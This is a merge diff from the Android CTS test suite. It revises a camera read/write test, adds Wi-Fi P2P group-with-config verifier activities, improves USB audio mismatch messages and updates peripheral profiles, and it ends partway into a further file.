Merge "CTS for new screen lock complexity permission"
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index d486fe2..e781861 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -4,6 +4,7 @@
apps/CtsVerifierUSBCompanion/
libs/
tests/autofillservice/
+ tests/contentcaptureservice/
tests/tests/animation/
tests/tests/graphics/
tests/tests/hardware/
diff --git a/apps/CameraITS/tests/scene0/test_read_write.py b/apps/CameraITS/tests/scene0/test_read_write.py
index 1b76806..9905762 100644
--- a/apps/CameraITS/tests/scene0/test_read_write.py
+++ b/apps/CameraITS/tests/scene0/test_read_write.py
@@ -32,15 +32,9 @@
its.caps.skip_unless(its.caps.manual_sensor(props) and
its.caps.per_frame_control(props))
- # determine capture format
- debug = its.caps.debug_mode()
- largest_yuv = its.objects.get_largest_yuv_format(props)
- if debug:
- fmt = largest_yuv
- else:
- match_ar = (largest_yuv['width'], largest_yuv['height'])
- fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
-
+ valid_formats = ['yuv', 'jpg']
+ if its.caps.raw16(props):
+ valid_formats.insert(0, 'raw')
# grab exp/gain ranges from camera
sensor_exp_range = props['android.sensor.info.exposureTimeRange']
sens_range = props['android.sensor.info.sensitivityRange']
@@ -58,55 +52,69 @@
else:
exp_range.append(sensor_exp_range[1])
- # build requests
- reqs = []
- index_list = []
- for exp in exp_range:
- for sens in sens_range:
- reqs.append(its.objects.manual_capture_request(sens, exp))
- index_list.append((exp, sens))
-
- # take shots
- caps = cam.do_capture(reqs, fmt)
-
- # extract exp/sensitivity data
data = {}
- for i, cap in enumerate(caps):
- e_read = cap['metadata']['android.sensor.exposureTime']
- s_read = cap['metadata']['android.sensor.sensitivity']
- data[index_list[i]] = (e_read, s_read)
+ # build requests
+ for fmt in valid_formats:
+ print 'format: %s' % fmt
+ size = its.objects.get_available_output_sizes(fmt, props)[-1]
+ out_surface = {'width': size[0], 'height': size[1], 'format': fmt}
+
+ reqs = []
+ index_list = []
+ for exp in exp_range:
+ for sens in sens_range:
+ reqs.append(its.objects.manual_capture_request(sens, exp))
+ index_list.append((fmt, exp, sens))
+ print 'exp_write: %d, sens_write: %d' % (exp, sens)
+
+ # take shots
+ caps = cam.do_capture(reqs, out_surface)
+
+ # extract exp/sensitivity data
+ for i, cap in enumerate(caps):
+ e_read = cap['metadata']['android.sensor.exposureTime']
+ s_read = cap['metadata']['android.sensor.sensitivity']
+ data[index_list[i]] = (fmt, e_read, s_read)
# check read/write match across all shots
e_failed = []
s_failed = []
- for e_write in exp_range:
- for s_write in sens_range:
- (e_read, s_read) = data[(e_write, s_write)]
- if e_write < e_read or e_read/float(e_write) <= RTOL_EXP_GAIN:
- e_failed.append({'e_write': e_write,
- 'e_read': e_read,
- 's_write': s_write,
- 's_read': s_read})
- if s_write < s_read or s_read/float(s_write) <= RTOL_EXP_GAIN:
- s_failed.append({'e_write': e_write,
- 'e_read': e_read,
- 's_write': s_write,
- 's_read': s_read})
+ for fmt_write in valid_formats:
+ for e_write in exp_range:
+ for s_write in sens_range:
+ fmt_read, e_read, s_read = data[(
+ fmt_write, e_write, s_write)]
+ if (e_write < e_read or
+ e_read/float(e_write) <= RTOL_EXP_GAIN):
+ e_failed.append({'format': fmt_read,
+ 'e_write': e_write,
+ 'e_read': e_read,
+ 's_write': s_write,
+ 's_read': s_read})
+ if (s_write < s_read or
+ s_read/float(s_write) <= RTOL_EXP_GAIN):
+ s_failed.append({'format': fmt_read,
+ 'e_write': e_write,
+ 'e_read': e_read,
+ 's_write': s_write,
+ 's_read': s_read})
# print results
if e_failed:
print '\nFAILs for exposure time'
for fail in e_failed:
- print ' e_write: %d, e_read: %d, RTOL: %.2f, ' % (
- fail['e_write'], fail['e_read'], RTOL_EXP_GAIN),
+ print ' format: %s, e_write: %d, e_read: %d, RTOL: %.2f, ' % (
+ fail['format'], fail['e_write'], fail['e_read'],
+ RTOL_EXP_GAIN),
print 's_write: %d, s_read: %d, RTOL: %.2f' % (
fail['s_write'], fail['s_read'], RTOL_EXP_GAIN)
if s_failed:
print 'FAILs for sensitivity(ISO)'
for fail in s_failed:
- print 's_write: %d, s_read: %d, RTOL: %.2f, ' % (
- fail['s_write'], fail['s_read'], RTOL_EXP_GAIN),
- print ' e_write: %d, e_read: %d, RTOL: %.2f' % (
+ print ' format: %s, s_write: %d, s_read: %d, RTOL: %.2f, ' % (
+ fail['format'], fail['s_write'], fail['s_read'],
+ RTOL_EXP_GAIN),
+ print 'e_write: %d, e_read: %d, RTOL: %.2f' % (
fail['e_write'], fail['e_read'], RTOL_EXP_GAIN)
# assert PASS/FAIL
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 768ddee..f15a353 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2319,6 +2319,18 @@
android:label="@string/p2p_accept_client"
android:configChanges="keyboardHidden|orientation|screenSize" />
+ <activity android:name=".p2p.P2pClientWithConfigTestListActivity"
+ android:label="@string/p2p_join_go"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
+ <activity android:name=".p2p.P2pClientWithConfigTestActivity"
+ android:label="@string/p2p_join_go"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
+ <activity android:name=".p2p.GoWithConfigTestActivity"
+ android:label="@string/p2p_accept_client"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
<activity android:name=".p2p.ServiceRequesterTestListActivity"
android:label="@string/p2p_service_discovery_requester"
android:configChanges="keyboardHidden|orientation|screenSize" />
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 90d1200..cebd24d 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1438,7 +1438,10 @@
<string name="p2p_go_neg_responder_test">GO Negotiation Responder Test</string>
<string name="p2p_go_neg_requester_test">GO Negotiation Requester Test</string>
<string name="p2p_group_owner_test">Group Owner Test</string>
+ <string name="p2p_join_with_config">Group Join with Config</string>
+ <string name="p2p_group_owner_with_config_test">Group Owner With Config Test</string>
<string name="p2p_group_client_test">Group Client Test</string>
+ <string name="p2p_group_client_with_config_test">Group Client With Config Test</string>
<string name="p2p_service_discovery_responder_test">
Service Discovery Responder Test</string>
<string name="p2p_service_discovery_requester_test">
@@ -3439,23 +3442,21 @@
<string name="disallow_remove_user">Disallow remove user</string>
<string name="device_owner_disallow_remove_user_info">
Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
- \'Set restriction\' button to set the user restriction. Then press \'Go\' to open \'Settings\',
- and manually find and open \'Multiple users\' setting. \n\n
+ \'Set restriction\' button to set the user restriction.
+ Then press \'Go\' to open \'Multiple users\' setting. \n\n
Mark this test as passed if:\n\n
- - The uninitialized user cannot be removed.\n
- - \'Remove user\' option is disabled with an info icon on it. Clicking on it triggers a support dialog.\n\n
-
+ - Main switch is disabled and in off position\n
+ \n
Use the Back button to return to this page.
</string>
<string name="managed_user_disallow_remove_user_info">
Please press the \'Set restriction\' button to set the user restriction.
- Then press \'Go\' to open \'Settings\', and manually find and open \'Multiple users\' setting. \n\n
+ Then press \'Go\' to open \'Multiple users\' setting. \n\n
Mark this test as passed if one of the following conditions is met:\n\n
- - \'Remove user\' option is disabled with an info icon on it. Clicking on it triggers a support dialog.\n
- - \'Remove user\' option cannot be found.\n \n
-
+ - Main switch is disabled and in off position\n
+ \n
Use the Back button to return to this page.
</string>
<string name="device_owner_disallow_remove_user_create_user">Create uninitialized user</string>
@@ -3873,11 +3874,11 @@
<string name="device_owner_disallow_user_switch">Disallow user switch</string>
<string name="device_owner_disallow_user_switch_info">
Press \'Create uninitialized user\' to create a user that is not setup.
- Then press Set restriction button to set the user restriction.
- Then press Go to open the Settings, and manually find and open user settings section.
+ Then press \'Set restriction\' button to set the user restriction.
+ Then press \'Go\' to open multiple users settings.
Confirm that:\n
\n
- - Selecting uninitialized user should not trigger user switch.\n
+ - Main switch is disabled and in off position\n
\n
In additional, if quick settings is available, confirm that user switcher is hidden or
disabled.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
index ef67708..5029160 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
@@ -70,21 +70,27 @@
if (deviceInfo.getChannelCounts().length == 0) {
sb.append("Output - No Peripheral Channel Counts\n");
} else if (!ListsHelper.isSubset(deviceInfo.getChannelCounts(), attribs.mChannelCounts)) {
- sb.append("Output - Channel Counts Mismatch\n");
+ sb.append("Output - Channel Counts Mismatch" +
+ " d" + ListsHelper.textFormatDecimal(deviceInfo.getChannelCounts()) +
+ " p" + ListsHelper.textFormatDecimal(attribs.mChannelCounts) +"\n");
}
// Encodings
if (deviceInfo.getEncodings().length == 0) {
sb.append("Output - No Peripheral Encodings\n");
} else if (!ListsHelper.isSubset(deviceInfo.getEncodings(), attribs.mEncodings)) {
- sb.append("Output - Encodings Mismatch\n");
+ sb.append("Output - Encodings Mismatch" +
+ " d" + ListsHelper.textFormatHex(deviceInfo.getEncodings()) +
+ " p" + ListsHelper.textFormatHex(attribs.mEncodings) + "\n");
}
// Sample Rates
if (deviceInfo.getSampleRates().length == 0) {
sb.append("Output - No Peripheral Sample Rates\n");
} else if (!ListsHelper.isSubset(deviceInfo.getSampleRates(), attribs.mSampleRates)) {
- sb.append("Output - Sample Rates Mismatch\n");
+ sb.append("Output - Sample Rates Mismatch" +
+ " d" + ListsHelper.textFormatHex(deviceInfo.getSampleRates()) +
+ " p" + ListsHelper.textFormatHex(attribs.mSampleRates) + "\n");
}
// Channel Masks
@@ -95,13 +101,17 @@
// Channel Index Masks
if (!ListsHelper.isSubset(deviceInfo.getChannelIndexMasks(),
attribs.mChannelIndexMasks)) {
- sb.append("Output - Channel Index Masks Mismatch\n");
+ sb.append("Output - Channel Index Masks Mismatch" +
+ " d" + ListsHelper.textFormatHex(deviceInfo.getChannelIndexMasks()) +
+ " p" + ListsHelper.textFormatHex(attribs.mChannelIndexMasks) + "\n");
}
// Channel Position Masks
if (!ListsHelper.isSubset(deviceInfo.getChannelMasks(),
attribs.mChannelPositionMasks)) {
- sb.append("Output - Channel Position Masks Mismatch\n");
+ sb.append("Output - Channel Position Masks Mismatch" +
+ " d" + ListsHelper.textFormatHex(deviceInfo.getChannelMasks()) +
+ " p" + ListsHelper.textFormatHex(attribs.mChannelPositionMasks) + "\n");
}
}
@@ -128,21 +138,27 @@
if (deviceInfo.getChannelCounts().length == 0) {
sb.append("Input - No Peripheral Channel Counts\n");
} else if (!ListsHelper.isSubset(deviceInfo.getChannelCounts(), attribs.mChannelCounts)) {
- sb.append("Input - Channel Counts Mismatch\n");
+ sb.append("Input - Channel Counts Mismatch" +
+ " d" + ListsHelper.textFormatDecimal(deviceInfo.getChannelCounts()) +
+ " p" + ListsHelper.textFormatDecimal(attribs.mChannelCounts) + "\n");
}
// Encodings
if (deviceInfo.getEncodings().length == 0) {
sb.append("Input - No Peripheral Encodings\n");
} else if (!ListsHelper.isSubset(deviceInfo.getEncodings(), attribs.mEncodings)) {
- sb.append("Input - Encodings Mismatch\n");
+ sb.append("Input - Encodings Mismatch" +
+ " d" + ListsHelper.textFormatHex(deviceInfo.getEncodings()) +
+ " p" + ListsHelper.textFormatHex(attribs.mEncodings) + "\n");
}
// Sample Rates
if (deviceInfo.getSampleRates().length == 0) {
sb.append("Input - No Peripheral Sample Rates\n");
} else if (!ListsHelper.isSubset(deviceInfo.getSampleRates(), attribs.mSampleRates)) {
- sb.append("Input - Sample Rates Mismatch\n");
+ sb.append("Input - Sample Rates Mismatch" +
+ " d" + ListsHelper.textFormatDecimal(deviceInfo.getSampleRates()) +
+ " p" + ListsHelper.textFormatDecimal(attribs.mSampleRates) + "\n");
}
// Channel Masks
@@ -152,11 +168,15 @@
} else {
if (!ListsHelper.isSubset(deviceInfo.getChannelIndexMasks(),
attribs.mChannelIndexMasks)) {
- sb.append("Input - Channel Index Masks Mismatch\n");
+ sb.append("Input - Channel Index Masks Mismatch" +
+ " d" + ListsHelper.textFormatHex(deviceInfo.getChannelIndexMasks()) +
+ " p" + ListsHelper.textFormatHex(attribs.mChannelIndexMasks) + "\n");
}
if (!ListsHelper.isSubset(deviceInfo.getChannelMasks(),
attribs.mChannelPositionMasks)) {
- sb.append("Input - Channel Position Masks Mismatch\n");
+ sb.append("Input - Channel Position Masks Mismatch" +
+ " d" + ListsHelper.textFormatHex(deviceInfo.getChannelMasks()) +
+ " p" + ListsHelper.textFormatHex(attribs.mChannelPositionMasks) + "\n");
}
}
if (sb.toString().length() == 0){
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java
index 97822d0..565826e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java
@@ -60,4 +60,30 @@
return true;
}
+
+ static public String textFormatHex(int[] list) {
+ StringBuilder sb = new StringBuilder();
+ sb.append("[");
+ for (int index = 0; index < list.length; index++) {
+ sb.append("0x" + Integer.toHexString(list[index]));
+ if (index < list.length-1) {
+ sb.append(", ");
+ }
+ }
+ sb.append("]");
+ return sb.toString();
+ }
+
+ static public String textFormatDecimal(int[] list) {
+ StringBuilder sb = new StringBuilder();
+ sb.append("[");
+ for (int index = 0; index < list.length; index++) {
+ sb.append("0x" + list[index]);
+ if (index < list.length-1) {
+ sb.append(", ");
+ }
+ }
+ sb.append("]");
+ return sb.toString();
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
index b32b2b5..b5ff250 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
@@ -49,31 +49,31 @@
"<ProfileList Version=\"1.0.0\">" +
"<PeripheralProfile ProfileName=\"AudioBox USB 96\" ProfileDescription=\"PreSonus AudioBox USB 96\" ProductName=\"USB-Audio - AudioBox USB 96\">" +
"<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
- "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+ "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
"</PeripheralProfile>" +
- "<PeripheralProfile ProfileName=\"Audio Interface\" ProfileDescription=\"Presonus AudioVox 44VSL\" ProductName=\"USB-Audio - AudioBox 44 VSL\">" +
- "<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
- "<InputDevInfo ChanCounts=\"1,2,4\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+ "<PeripheralProfile ProfileName=\"AudioBox 44VSL\" ProfileDescription=\"Presonus AudioBox 44VSL\" ProductName=\"USB-Audio - AudioBox 44 VSL\">" +
+ "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+ "<InputDevInfo ChanCounts=\"1,2,3,4\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
"</PeripheralProfile>" +
"<PeripheralProfile ProfileName=\"AudioBox 22VSL\" ProfileDescription=\"Presonus AudioBox 22VSL\" ProductName=\"USB-Audio - AudioBox 22 VSL\">" +
"<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
- "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+ "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
"</PeripheralProfile>" +
"<PeripheralProfile ProfileName=\"AudioBox USB\" ProfileDescription=\"Presonus AudioBox USB\" ProductName=\"USB-Audio - AudioBox USB\">" +
"<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
- "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
+ "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
"</PeripheralProfile>" +
"<PeripheralProfile ProfileName=\"Focusrite 2i4\" ProfileDescription=\"Focusrite Scarlett 2i4\" ProductName=\"USB-Audio - Scarlett 2i4 USB\">" +
"<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
- "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+ "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
"</PeripheralProfile>" +
"<PeripheralProfile ProfileName=\"Behringer UMC204HD\" ProfileDescription=\"Behringer UMC204HD\" ProductName=\"USB-Audio - UMC204HD 192k\">" +
"<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"2,4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
- "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
+ "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
"</PeripheralProfile>" +
"<PeripheralProfile ProfileName=\"Roland Rubix24\" ProfileDescription=\"Roland Rubix24\" ProductName=\"USB-Audio - Rubix24\">" +
"<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
- "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
+ "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
"</PeripheralProfile>" +
"<PeripheralProfile ProfileName=\"Pixel USB-C Dongle + Wired Analog Headset\" ProfileDescription=\"Reference USB Dongle\" ProductName=\"USB-Audio - USB-C to 3.5mm-Headphone Adapte\">" +
"<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 2e1c92c..245c366 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -400,7 +400,7 @@
UserManager.DISALLOW_USER_SWITCH, true)),
new ButtonInfo(
R.string.device_owner_settings_go,
- new Intent(Settings.ACTION_SETTINGS))}));
+ new Intent(Settings.ACTION_USER_SETTINGS))}));
// DISALLOW_REMOVE_USER
adapter.add(createInteractiveTestItem(this, DISALLOW_REMOVE_USER_TEST_ID,
@@ -416,7 +416,7 @@
UserManager.DISALLOW_REMOVE_USER, true)),
new ButtonInfo(
R.string.device_owner_settings_go,
- new Intent(Settings.ACTION_SETTINGS))}));
+ new Intent(Settings.ACTION_USER_SETTINGS))}));
}
// Network logging UI
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
index dd2a639..acfebfe 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
@@ -161,7 +161,7 @@
UserManager.DISALLOW_REMOVE_USER, true)),
new ButtonInfo(
R.string.device_owner_settings_go,
- new Intent(Settings.ACTION_SETTINGS))}));
+ new Intent(Settings.ACTION_USER_SETTINGS))}));
// Policy Transparency
final Intent policyTransparencyTestIntent = new Intent(this,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/GoWithConfigTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/GoWithConfigTestActivity.java
new file mode 100644
index 0000000..aa6a7fe
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/GoWithConfigTestActivity.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.p2p;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.p2p.testcase.GoWithConfigTestCase;
+import com.android.cts.verifier.p2p.testcase.TestCase;
+
+/**
+ * Test activity that accepts a connection from p2p client.
+ */
+public class GoWithConfigTestActivity extends ResponderTestActivity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setInfoResources(R.string.p2p_accept_client,
+ R.string.p2p_accept_client_info, -1);
+ }
+
+ @Override
+ protected TestCase getTestCase(Context context) {
+ return new GoWithConfigTestCase(context);
+ }
+
+ @Override
+ protected int getReadyMsgId() {
+ return R.string.p2p_go_ready;
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pClientWithConfigTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pClientWithConfigTestActivity.java
new file mode 100644
index 0000000..e782a13
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pClientWithConfigTestActivity.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.p2p;
+
+import android.content.Context;
+
+import com.android.cts.verifier.p2p.testcase.P2pClientWithConfigTestSuite;
+import com.android.cts.verifier.p2p.testcase.ReqTestCase;
+
+/**
+ * Test activity that tries to join an existing p2p group with config.
+ * This activity is invoked from JoinTestListActivity.
+ */
+public class P2pClientWithConfigTestActivity extends RequesterTestActivity {
+
+ /**
+ * Do not need to select a peer first.
+ * For joining a group with config, this device finds the peer by
+ * Network Name, says SSID, and do not need to select a peer first.
+ */
+ @Override
+ protected boolean isSearchOnlyOnResume() {
+ return true;
+ }
+
+ @Override
+ protected ReqTestCase getTestCase(Context context, String testId) {
+ return P2pClientWithConfigTestSuite.getTestCase(context, testId);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pClientWithConfigTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pClientWithConfigTestListActivity.java
new file mode 100644
index 0000000..a3961d6
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pClientWithConfigTestListActivity.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.p2p;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import java.util.ArrayList;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.p2p.testcase.P2pClientWithConfigTestSuite;
+import com.android.cts.verifier.p2p.testcase.ReqTestCase;
+
+/**
+ * Activity that lists all the joining group owner with config tests.
+ */
+public class P2pClientWithConfigTestListActivity extends RequesterTestListActivity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setInfoResources(R.string.p2p_join_go,
+ R.string.p2p_join_go_info, -1);
+ }
+
+ @Override
+ protected ArrayList<ReqTestCase> getTestSuite(Context context) {
+ return P2pClientWithConfigTestSuite.getTestSuite(context);
+ }
+
+ @Override
+ protected Class<?> getRequesterActivityClass() {
+ return P2pClientWithConfigTestActivity.class;
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pTestListActivity.java
index 5985be6..5fd62f5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pTestListActivity.java
@@ -87,6 +87,16 @@
P2pClientTestListActivity.class.getName(),
new Intent(this, P2pClientTestListActivity.class), null));
+ adapter.add(TestListItem.newCategory(this, R.string.p2p_join_with_config));
+ adapter.add(TestListItem.newTest(this,
+ R.string.p2p_group_owner_with_config_test,
+ GoWithConfigTestActivity.class.getName(),
+ new Intent(this, GoWithConfigTestActivity.class), null));
+ adapter.add(TestListItem.newTest(this,
+ R.string.p2p_group_client_with_config_test,
+ P2pClientWithConfigTestListActivity.class.getName(),
+ new Intent(this, P2pClientWithConfigTestListActivity.class), null));
+
adapter.add(TestListItem.newCategory(this, R.string.p2p_service_discovery));
adapter.add(TestListItem.newTest(this,
R.string.p2p_service_discovery_responder_test,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
index aa24d55..5b79b8c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
@@ -212,6 +212,14 @@
}
/**
+ * Do peer searching only, don't do peer selection.
+ * For requester test which do not need to select a peer first.
+ */
+ protected boolean isSearchOnlyOnResume() {
+ return false;
+ }
+
+ /**
* Search devices and show the found devices on the dialog.
* After user selection, the specified test will be executed.
*/
@@ -245,7 +253,11 @@
mTextView.setText(
R.string.p2p_target_not_found_error);
} else {
- showSelectTargetDialog(peers);
+ if (isSearchOnlyOnResume()) {
+ mTestCase.start(getTestCaseListener());
+ } else {
+ showSelectTargetDialog(peers);
+ }
}
}
});
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
index 95c8d09..bc23459 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
@@ -20,6 +20,7 @@
import android.net.wifi.WpsInfo;
import android.net.wifi.p2p.WifiP2pConfig;
import android.net.wifi.p2p.WifiP2pDevice;
